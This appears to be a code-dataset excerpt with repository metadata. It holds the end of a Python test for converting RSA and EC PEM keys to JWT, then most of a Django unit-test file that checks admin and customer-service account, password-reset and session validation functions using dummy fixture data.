BASEDIR + "/test_keys/rsa-3072-public.pem",
private=False,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-4096.json",
BASEDIR + "/test_keys/rsa-4096-public.pem",
private=False,
)
def test_pem2rsa_private():
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-1024.json",
BASEDIR + "/test_keys/rsa-1024-private.pem",
private=True,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-1280.json",
BASEDIR + "/test_keys/rsa-1280-private.pem",
private=True,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-2048.json",
BASEDIR + "/test_keys/rsa-2048-private.pem",
private=True,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-3072.json",
BASEDIR + "/test_keys/rsa-3072-private.pem",
private=True,
)
convert_rsa_pem2jwt(
BASEDIR + "/test_keys/rsa-4096.json",
BASEDIR + "/test_keys/rsa-4096-private.pem",
private=True,
)
def test_pem2ec_public():
convert_ec_pem2jwt(
BASEDIR + "/test_keys/ec-p256.json",
BASEDIR + "/test_keys/ec-p256-public.pem",
private=False,
)
convert_ec_pem2jwt(
BASEDIR + "/test_keys/ec-p384.json",
BASEDIR + "/test_keys/ec-p384-public.pem",
private=False,
)
def test_pem2ec_private():
convert_ec_pem2jwt(
BASEDIR + "/test_keys/ec-p256.json",
BASEDIR + "/test_keys/ec-p256-private.pem",
private=True,
)
convert_ec_pem2jwt(
BASEDIR + "/test_keys/ec-p384.json",
BASEDIR + "/test_keys/ec-p384-private.pem",
private=True,
)
| 28.525862
| 84
| 0.634331
| 422
| 3,309
| 4.746446
| 0.13981
| 0.153769
| 0.209685
| 0.17973
| 0.775836
| 0.754868
| 0.72691
| 0.72691
| 0.72691
| 0.72691
| 0
| 0.053797
| 0.236023
| 3,309
| 115
| 85
| 28.773913
| 0.738528
| 0.00544
| 0
| 0.510204
| 0
| 0
| 0.238661
| 0.229833
| 0
| 0
| 0
| 0
| 0
| 1
| 0.071429
| false
| 0.020408
| 0.05102
| 0
| 0.132653
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ef82428e269cc1a67e6519f113be621b3f6cb22
| 60,862
|
py
|
Python
|
backend/test/test_views_check_functions.py
|
romic-kid/project-kfsystem
|
3ed63c5c063493dc0dd7e0c4b62ba7481bf63311
|
[
"BSD-3-Clause"
] | 2
|
2018-03-22T08:42:41.000Z
|
2018-07-03T09:22:28.000Z
|
backend/test/test_views_check_functions.py
|
romic-kid/project-kfsystem
|
3ed63c5c063493dc0dd7e0c4b62ba7481bf63311
|
[
"BSD-3-Clause"
] | 2
|
2019-04-25T02:10:10.000Z
|
2022-03-02T01:11:28.000Z
|
backend/test/test_views_check_functions.py
|
romic-kid/project-kfsystem
|
3ed63c5c063493dc0dd7e0c4b62ba7481bf63311
|
[
"BSD-3-Clause"
] | 1
|
2019-03-14T03:13:05.000Z
|
2019-03-14T03:13:05.000Z
|
from django.test import TestCase
from django.test.client import Client
from ..views_helper_functions import *
from ..views_check_functions import *
from ..models import Admin, CustomerService, ChattingLog, SerialNumber, EnterpriseDisplayInfo, RobotInfo
from django.utils import timezone
import datetime
class TestAdminCreateCheck(TestCase):
def setUp(self):
SerialNumber.objects.create(serials='s1', is_used=False)
SerialNumber.objects.create(serials='s2', is_used=False)
SerialNumber.objects.create(serials='s3', is_used=False)
SerialNumber.objects.create(serials='s4', is_used=True)
SerialNumber.objects.create(serials='s5', is_used=False)
SerialNumber.objects.create(serials='s6', is_used=False)
SerialNumber.objects.create(serials='s7', is_used=False)
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
def test(self):
json1 = {'email': 'test1@a.com', 'nickname': 'nick1', 'password': 'pass1', 'serials': 's1'}
errorcode1, errormessage1 = admin_create_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'test2@a.com', 'nickname': 'nick2', 'password': 'pass2'}
errorcode2, errormessage2 = admin_create_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'test3@a.com', 'nickname': 'nick3', 'password': 'pass3', 'serials': 's3', 'other': 'other'}
errorcode3, errormessage3 = admin_create_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'test4@a.com', 'nickname': 'nick4', 'password': 'pass4', 'serials': 's4'}
errorcode4, errormessage4 = admin_create_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, serials is invalid.')
json5 = {'email': 'admin1@test.com', 'nickname': 'nick5', 'password': 'pass5', 'serials': 's5'}
errorcode5, errormessage5 = admin_create_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, email has been registered.')
json6 = {'email': 'cs1@test.com', 'nickname': 'nick6', 'password': 'pass6', 'serials': 's6'}
errorcode6, errormessage6 = admin_create_check(json6)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, email has been registered.')
json7 = {'email': 'test7@a.com', 'nickname': 'a_nick1', 'password': 'pass7', 'serials': 's7'}
errorcode7, errormessage7 = admin_create_check(json7)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, nickname has been used.')
class TestAdminLoginCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'email': 'admin1@test.com', 'password': 'a_pass1'}
errorcode1, errormessage1 = admin_login_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'admin1@test.com'}
errorcode2, errormessage2 = admin_login_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'admin1@test.com', 'nickname': 'nick3', 'password': 'a_pass1'}
errorcode3, errormessage3 = admin_login_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
class TestAdminResetPasswordCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
json1 = {'password': 'a_pass1', 'newpassword': 'Anewpass1'}
errorcode1, errormessage1 = admin_reset_password_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'password': 'a_pass1'}
errorcode2, errormessage2 = admin_reset_password_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'password': 'a_pass1', 'newpassword': 'Anewpass1', 'other': 'other'}
errorcode3, errormessage3 = admin_reset_password_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'password': 'a_pass1', 'newpassword': 'Anewpass1'}
session['a_email'] = 'admin2@a.com'
session.save()
errorcode4, errormessage4 = admin_reset_password_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email.')
json5 = {'password': 'a_pass1', 'newpassword': 'Anewpass1'}
session.delete()
errorcode5, errormessage5 = admin_reset_password_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, session is broken.')
class TestAdminForgetPasswordEmailRequestCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'email': 'admin1@test.com'}
errorcode1, errormessage1 = admin_forget_password_email_request_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = admin_forget_password_email_request_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'admin1@test.com', 'password': 'a_pass1'}
errorcode3, errormessage3 = admin_forget_password_email_request_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'admin2@a.com'}
errorcode4, errormessage4 = admin_forget_password_email_request_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email.')
class TestAdminForgetPasswordCheckVidCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'email': 'admin1@test.com', 'vid': 'a_vid1'}
errorcode1, errormessage1 = admin_forget_password_check_vid_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'admin1@test.com'}
errorcode2, errormessage2 = admin_forget_password_check_vid_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'admin1@test.com', 'password': 'a_pass1', 'vid': 'a_vid1'}
errorcode3, errormessage3 = admin_forget_password_check_vid_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'admin2@a.com', 'vid': 'a_vid1'}
errorcode4, errormessage4 = admin_forget_password_check_vid_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email or vid.')
json5 = {'email': 'admin1@test.com', 'vid': 'vid1'}
errorcode5, errormessage5 = admin_forget_password_check_vid_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
instance = Admin.objects.get(id=1)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json6 = {'email': 'admin1@test.com', 'vid': 'a_vid1'}
errorcode6, errormessage6 = admin_forget_password_check_vid_check(json6)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, vid is expired.')
class TestAdminForgetPasswordSaveDataCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
json1 = {'email': 'admin1@test.com', 'newpassword': 'Anewpass1', 'vid': 'a_vid1'}
errorcode1, errormessage1 = admin_forget_password_save_data_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'admin1@test.com', 'newpassword': 'Anewpass1'}
errorcode2, errormessage2 = admin_forget_password_save_data_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'admin1@test.com', 'newpassword': 'Anewpass1', 'vid': 'a_vid1', 'other': 'other'}
errorcode3, errormessage3 = admin_forget_password_save_data_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'admin2@a.com', 'newpassword': 'Anewpass1', 'vid': 'a_vid1'}
errorcode4, errormessage4 = admin_forget_password_save_data_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong email or vid.')
json5 = {'email': 'admin1@test.com', 'newpassword': 'Anewpass1', 'vid': 'Avid2'}
errorcode5, errormessage5 = admin_forget_password_save_data_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
instance = Admin.objects.get(id=1)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json6 = {'email': 'admin1@test.com', 'newpassword': 'Anewpass1', 'vid': 'a_vid1'}
errorcode6, errormessage6 = admin_forget_password_save_data_check(json6)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, vid is expired.')
class TestAdminShowCommunicationKeyCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_show_communication_key_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_show_communication_key_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_show_communication_key_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestAdminResetCommunicationKeyCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_reset_communication_key_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_reset_communication_key_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_reset_communication_key_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestAdminShowCsStatusCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_show_cs_status_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_show_cs_status_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_show_cs_status_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestAdminDeleteCsCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
Admin.objects.create(id=2, email='admin2@test.com', nickname='a_nick2', password='a_pass2', web_url='a_weburl2', widget_url='a_widgeturl2', mobile_url='a_mobileurl2', communication_key='a_key2', vid='a_vid2')
admin_instance1 = Admin.objects.get(id=1)
admin_instance2 = Admin.objects.get(id=2)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance1, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance2, nickname='c_nick2', password='c_pass2', is_register=True, is_online=False, connection_num=0, vid='c_vid2')
cs_instance1 = CustomerService.objects.get(id=1)
cs_instance2 = CustomerService.objects.get(id=2)
ChattingLog.objects.create(id=1, client_id='client1', service_id=cs_instance1, content='content1', is_client=False)
ChattingLog.objects.create(id=2, client_id='client2', service_id=cs_instance2, content='content2', is_client=False)
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
json1 = {'email': 'cs1@test.com'}
errorcode1, errormessage1 = admin_delete_cs_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = admin_delete_cs_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'other': 'other'}
errorcode3, errormessage3 = admin_delete_cs_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs3@test.com'}
errorcode4, errormessage4 = admin_delete_cs_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, wrong customerservice email.')
json5 = {'email': 'cs2@test.com'}
errorcode5, errormessage5 = admin_delete_cs_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, customerservice is not belong to admin.')
session['a_email'] = 'admin3@a.com'
session.save()
json6 = {'email': 'cs1@test.com'}
errorcode6, errormessage6 = admin_delete_cs_check(json6, c)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, wrong admin email.')
session.delete()
json7 = {'email': 'cs1@test.com'}
errorcode7, errormessage7 = admin_delete_cs_check(json7, c)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, session is broken.')
class TestAdminShowUserStatusCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_show_user_status_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_show_user_status_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_show_user_status_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestAdminShowUrlStatusCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_show_url_status_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_show_url_status_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_show_url_status_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestAdminDisplayInfoCreateCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
instance = Admin.objects.get(id=1)
EnterpriseDisplayInfo.objects.create(id=1, enterprise=instance, name='id_used', comment='this is id')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
json1 = {'name': 'id', 'comment': 'this is id'}
errorcode1, errormessage1 = admin_display_info_create_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'name': 'id', 'comment': 'this is id'}
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_display_info_create_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
json3 = {'name': 'id', 'comment': 'this is id'}
session.delete()
errorcode3, errormessage3 = admin_display_info_create_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
c1 = Client()
session1 = c1.session
session1['a_email'] = 'admin1@test.com'
session1.save()
json4 = {'name': 'id_used', 'comment': 'this is id'}
errorcode4, errormessage4 = admin_display_info_create_check(json4, c1)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, attribute name has been used.')
class TestAdminDisplayInfoDeleteCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
instance = Admin.objects.get(id=1)
EnterpriseDisplayInfo.objects.create(id=1, enterprise=instance, name='id_used', comment='this is id')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
json1 = {'name': 'id_used'}
errorcode1, errormessage1 = admin_display_info_delete_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'name': 'id_used'}
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_display_info_delete_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
json3 = {'name': 'id_used'}
session.delete()
errorcode3, errormessage3 = admin_display_info_delete_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
c1 = Client()
session1 = c1.session
session1['a_email'] = 'admin1@test.com'
session1.save()
json4 = {'name': 'id'}
errorcode4, errormessage4 = admin_display_info_delete_check(json4, c1)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, attribute is not existent.')
class TestAdminDisplayInfoShowCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
Admin.objects.create(id=2, email='admin2@a.com', nickname='Anick2', password='Apass2', web_url='Aweb_url2', widget_url='Awidget_url2', mobile_url='Amobile_url2', communication_key='Akey2', vid='Avid2')
instance = Admin.objects.get(id=1)
EnterpriseDisplayInfo.objects.create(id=1, enterprise=instance, name='id_used', comment='this is id')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_display_info_show_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin_not_exist@a.com'
session.save()
errorcode2, errormessage2 = admin_display_info_show_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_display_info_show_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
c1 = Client()
session1 = c1.session
session1['a_email'] = 'admin2@a.com'
session1.save()
errorcode4, errormessage4 = admin_display_info_show_check(c1)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, display info is empty.')
class TestAdminLogoutChekc(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
errorcode1, errormessage1 = admin_logout_check(c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
session['a_email'] = 'admin2@a.com'
session.save()
errorcode2, errormessage2 = admin_logout_check(c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, wrong email.')
session.delete()
errorcode3, errormessage3 = admin_logout_check(c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, session is broken.')
class TestCsCreateCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance, nickname='c_nick2', password='c_pass2', is_register=True, is_online=False, connection_num=0, vid='c_vid2')
def test(self):
c = Client()
session = c.session
session['a_email'] = 'admin1@test.com'
session.save()
json1 = {'email': 'test1@a.com'}
errorcode1, errormessage1 = customerservice_create_check(json1, c)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {}
errorcode2, errormessage2 = customerservice_create_check(json2, c)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'test1@a.com', 'other': 'other'}
errorcode3, errormessage3 = customerservice_create_check(json3, c)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
session['a_email'] = 'admin2@a.com'
session.save()
json4 = {'email': 'test1@a.com'}
errorcode4, errormessage4 = customerservice_create_check(json4, c)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, admin_email is wrong.')
session.delete()
json5 = {'email': 'test1@a.com'}
errorcode5, errormessage5 = customerservice_create_check(json5, c)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, session is broken.')
c1 = Client()
session = c1.session
session['a_email'] = 'admin1@test.com'
session.save()
json6 = {'email': 'cs2@test.com'}
errorcode6, errormessage6 = customerservice_create_check(json6, c1)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, email has been registered.')
json7 = {'email': 'admin1@test.com'}
errorcode7, errormessage7 = customerservice_create_check(json7, c1)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, email has been registered.')
class TestCsSetProfileCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
admin_instance = Admin.objects.get(id=1)
CustomerService.objects.create(id=1, email='cs1@test.com', enterprise=admin_instance, nickname='c_nick1', password='c_pass1', is_register=False, is_online=False, connection_num=0, vid='c_vid1')
CustomerService.objects.create(id=2, email='cs2@test.com', enterprise=admin_instance, nickname='c_nick2', password='c_pass2', is_register=False, is_online=False, connection_num=0, vid='c_vid2')
def test(self):
json1 = {'email': 'cs1@test.com', 'password': 't1_pass', 'nickname': 't1_nick', 'vid': 'c_vid1'}
errorcode1, errormessage1 = customerservice_set_profile_check(json1)
self.assertEqual(errorcode1, 1)
self.assertEqual(errormessage1, 'No ERROR.')
json2 = {'email': 'cs1@test.com', 'password': 't1_pass', 'vid': 'c_vid1'}
errorcode2, errormessage2 = customerservice_set_profile_check(json2)
self.assertEqual(errorcode2, 0)
self.assertEqual(errormessage2, 'ERROR, incomplete information.')
json3 = {'email': 'cs1@test.com', 'password': 't1_pass', 'nickname': 't1_nick', 'vid': 'c_vid1', 'other': 'other'}
errorcode3, errormessage3 = customerservice_set_profile_check(json3)
self.assertEqual(errorcode3, 0)
self.assertEqual(errormessage3, 'ERROR, wrong information.')
json4 = {'email': 'cs1@test.com', 'password': 't1_pass', 'nickname': 'c_nick2', 'vid': 'c_vid1'}
errorcode4, errormessage4 = customerservice_set_profile_check(json4)
self.assertEqual(errorcode4, 0)
self.assertEqual(errormessage4, 'ERROR, nickname has been used.')
json5 = {'email': 'email_not_exist@a.com', 'password': 't1_pass', 'nickname': 't1_nick', 'vid': 'c_vid1'}
errorcode5, errormessage5 = customerservice_set_profile_check(json5)
self.assertEqual(errorcode5, 0)
self.assertEqual(errormessage5, 'ERROR, wrong email or vid.')
json6 = {'email': 'cs1@test.com', 'password': 't1_pass', 'nickname': 't1_nick', 'vid': 'vid_not_exist'}
errorcode6, errormessage6 = customerservice_set_profile_check(json6)
self.assertEqual(errorcode6, 0)
self.assertEqual(errormessage6, 'ERROR, wrong email or vid.')
instance = CustomerService.objects.get(id=2)
instance.vid_createtime = timezone.now() - timezone.timedelta(days=3)
instance.save()
json7 = {'email': 'cs2@test.com', 'password': 't2_pass', 'nickname': 't2_nick', 'vid': 'c_vid2'}
errorcode7, errormessage7 = customerservice_set_profile_check(json7)
self.assertEqual(errorcode7, 0)
self.assertEqual(errormessage7, 'ERROR, vid is expired.')
class TestCsSetProfileCheckVidCheck(TestCase):
def setUp(self):
Admin.objects.create(id=1, email='admin1@test.com', nickname='a_nick1', password='a_pass1', web_url='a_weburl1', widget_url='a_widgeturl1', mobile_url='a_mobileurl1', communication_key='a_key1', vid='a_vid1')
